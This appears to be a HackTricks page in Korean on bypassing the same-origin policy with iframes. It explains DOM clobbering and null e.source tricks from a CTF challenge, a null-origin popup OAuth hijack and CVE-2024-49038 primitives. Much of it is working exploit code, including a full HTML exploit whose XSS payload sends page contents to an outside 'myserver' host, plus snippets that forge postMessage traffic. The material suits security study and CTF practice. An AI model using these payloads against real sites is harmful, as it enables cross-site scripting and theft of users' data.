Iframes๋ฅผ ์ด์šฉํ•œ SOP ์šฐํšŒ - 2

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

SOP-2์˜ Iframes

์ด challenge์˜ solution์—์„œ, @Strellic_๋Š” ์ด์ „ ์„น์…˜๊ณผ ์œ ์‚ฌํ•œ ๋ฐฉ๋ฒ•์„ ์ œ์•ˆํ•ฉ๋‹ˆ๋‹ค. ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

์ด ์ฑŒ๋ฆฐ์ง€์—์„œ ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ bypass ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

๊ทธ๋ ‡๊ฒŒ ํ•˜๋ฉด, ๊ทธ๋Š” postmessage๋กœ HTML ์ฝ˜ํ…์ธ ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๊ณ  ๊ทธ ๋‚ด์šฉ์€ ํŽ˜์ด์ง€์— **innerHTML**๋กœ ์ •ํ™” ์—†์ด ๊ธฐ๋ก๋˜์–ด (XSS) ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฒซ ๋ฒˆ์งธ ๊ฒ€์‚ฌ๋Š” **window.calc.contentWindow**๋ฅผ **undefined**๋กœ ๋งŒ๋“ค๊ณ  **e.source**๋ฅผ **null**๋กœ ๋งŒ๋“ค์–ด ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • **window.calc.contentWindow**๋Š” ์‹ค์ œ๋กœ **document.getElementById("calc")**์ž…๋‹ˆ๋‹ค. **document.getElementById**๋ฅผ **<img name=getElementById />**๋กœ clobberํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (๊ธฐ๋ณธ ์ƒํƒœ์—์„œ๋Š” Sanitizer API -here-๊ฐ€ DOM clobbering ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”).
  • ๋”ฐ๋ผ์„œ, **document.getElementById("calc")**๋ฅผ **<img name=getElementById /><div id=calc></div>**๋กœ clobberํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด, **window.calc**๋Š” **undefined**๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.
  • ์ด์ œ **e.source**๋ฅผ **undefined**๋‚˜ **null**๋กœ ๋งŒ๋“ค์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (==๊ฐ€ === ๋Œ€์‹  ์‚ฌ์šฉ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์—, **null == undefined**๋Š” **True**์ž…๋‹ˆ๋‹ค). ์ด๊ฒƒ์„ ์–ป๋Š” ๊ฒƒ์€ โ€œ์‰ฌ์šดโ€ ํŽธ์ž…๋‹ˆ๋‹ค. ๋งŒ์•ฝ iframe์„ ์ƒ์„ฑํ•˜๊ณ  ๊ทธ ์•ˆ์—์„œ postMessage๋ฅผ sendํ•œ ๋’ค ์ฆ‰์‹œ ๊ทธ iframe์„ removeํ•˜๋ฉด, **e.origin**์€ **null**์ด ๋ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

token์— ๊ด€ํ•œ second check๋ฅผ ์šฐํšŒํ•˜๋ ค๋ฉด **token**์„ ๊ฐ’ null๋กœ ์ „์†กํ•˜๊ณ  window.token ๊ฐ’์„ **undefined**๋กœ ๋งŒ๋“ค๋ฉด ๋ฉ๋‹ˆ๋‹ค:

  • postMessage๋กœ token์„ ๊ฐ’ null๋กœ ์ „์†กํ•˜๋Š” ๊ฒƒ์€ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค.
  • **window.token**์€ **document.cookie**๋ฅผ ์‚ฌ์šฉํ•˜๋Š” getCookie ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ ๊ฒฐ์ •๋ฉ๋‹ˆ๋‹ค. null origin ํŽ˜์ด์ง€์—์„œ **document.cookie**์— ์ ‘๊ทผํ•˜๋ฉด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด **window.token**์€ undefined ๊ฐ’์„ ๊ฐ–๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ตœ์ข… ์†”๋ฃจ์…˜์€ @terjanq์ด ์ œ์‹œํ•œ following:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

์ตœ๊ทผ TryHackMe ๊ณผ์ œ(โ€œVulnerable Codesโ€)๋Š” opener๊ฐ€ scripts์™€ popups๋งŒ ํ—ˆ์šฉํ•˜๋Š” sandboxed iframe ๋‚ด๋ถ€์— ์žˆ์„ ๋•Œ OAuth ํŒ์—…์ด ์–ด๋–ป๊ฒŒ ํƒˆ์ทจ๋  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ๋ณด์—ฌ์ค€๋‹ค. ํ•ด๋‹น iframe์€ ์ž์‹ ๊ณผ ํŒ์—… ๋‘˜ ๋‹ค๋ฅผ "null" origin์œผ๋กœ ๊ฐ•์ œํ•˜๋ฏ€๋กœ, ํ•ธ๋“ค๋Ÿฌ์—์„œ if (origin !== window.origin) return์ฒ˜๋Ÿผ ๊ฒ€์‚ฌํ•˜๋ฉด ํŒ์—… ๋‚ด๋ถ€์˜ window.origin ๋˜ํ•œ "null"์ด๊ธฐ ๋•Œ๋ฌธ์— ์กฐ์šฉํžˆ ์‹คํŒจํ•œ๋‹ค. ๋น„๋ก ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‹ค์ œ location.origin์„ ์—ฌ์ „ํžˆ ๋…ธ์ถœํ•˜์ง€๋งŒ, ํ”ผํ•ด์ž๋Š” ์ด๋ฅผ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ๊ทธ๋Œ€๋กœ ํ†ต๊ณผํ•œ๋‹ค.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

ํ•ด๋‹น ์„ค์ •์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•œ ์š”์ :

  • ํŒ์—… ๋‚ด๋ถ€์—์„œ origin์„ window.origin๊ณผ ๋น„๊ตํ•˜๋Š” ํ•ธ๋“ค๋Ÿฌ๋Š” ๋‘˜ ๋‹ค "null"๋กœ ํ‰๊ฐ€๋˜๊ธฐ ๋•Œ๋ฌธ์— ์šฐํšŒํ•  ์ˆ˜ ์žˆ์–ด, ์œ„์กฐ๋œ ๋ฉ”์‹œ์ง€๊ฐ€ ์ •๋‹นํ•˜๊ฒŒ ๋ณด์ธ๋‹ค.
  • allow-popups๋Š” ํ—ˆ์šฉํ•˜์ง€๋งŒ allow-same-origin์„ ์ƒ๋žตํ•œ sandboxed iframe์€ ์—ฌ์ „ํžˆ ๊ณต๊ฒฉ์ž ์ œ์–ด์˜ null origin์— ๊ณ ์ •๋œ ํŒ์—…์„ ์ƒ์„ฑํ•˜๋ฏ€๋กœ, 2025๋…„ Chromium ๋นŒ๋“œ์—์„œ๋„ ์•ˆ์ •์ ์ธ ๊ฒฉ๋ฆฌ ์˜์—ญ์„ ์ œ๊ณตํ•œ๋‹ค.

Source-nullification & frame-restriction bypasses

Industry writeups around CVE-2024-49038 highlight two reusable primitives for this page: (1) X-Frame-Options: DENY๋ฅผ ์„ค์ •ํ•œ ํŽ˜์ด์ง€๋„ window.open์œผ๋กœ ์—ด๊ณ  ๋„ค๋น„๊ฒŒ์ด์…˜์ด ์™„๋ฃŒ๋œ ํ›„ ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•˜๋ฉด ์—ฌ์ „ํžˆ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๊ณ , (2) ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ธ ์งํ›„ iframe์„ ์ œ๊ฑฐํ•ด ์ˆ˜์‹ ์ธก ํ•ธ๋“ค๋Ÿฌ๊ฐ€ null๋งŒ ๋ณด๋„๋ก ๋งŒ๋“ค์–ด event.source == victimFrame ๊ฒ€์‚ฌ๋ฅผ ๋ฌด์ฐจ๋ณ„๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

์œ„์˜ DOM-clobbering ํŠธ๋ฆญ๊ณผ ๊ฒฐํ•ฉํ•ด ๋ณด์„ธ์š”: ์ˆ˜์‹ ์ž๊ฐ€ event.source === null๋งŒ ๋ณด๊ฒŒ ๋˜๋ฉด, window.calc.contentWindow ๊ฐ™์€ ๊ฒƒ๊ณผ์˜ ๋น„๊ต๋Š” ๋ชจ๋‘ ๋ฌด๋„ˆ์ง€๋ฉฐ, ๋‹ค์‹œ innerHTML์„ ํ†ตํ•ด ์•…์„ฑ HTML sinks๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ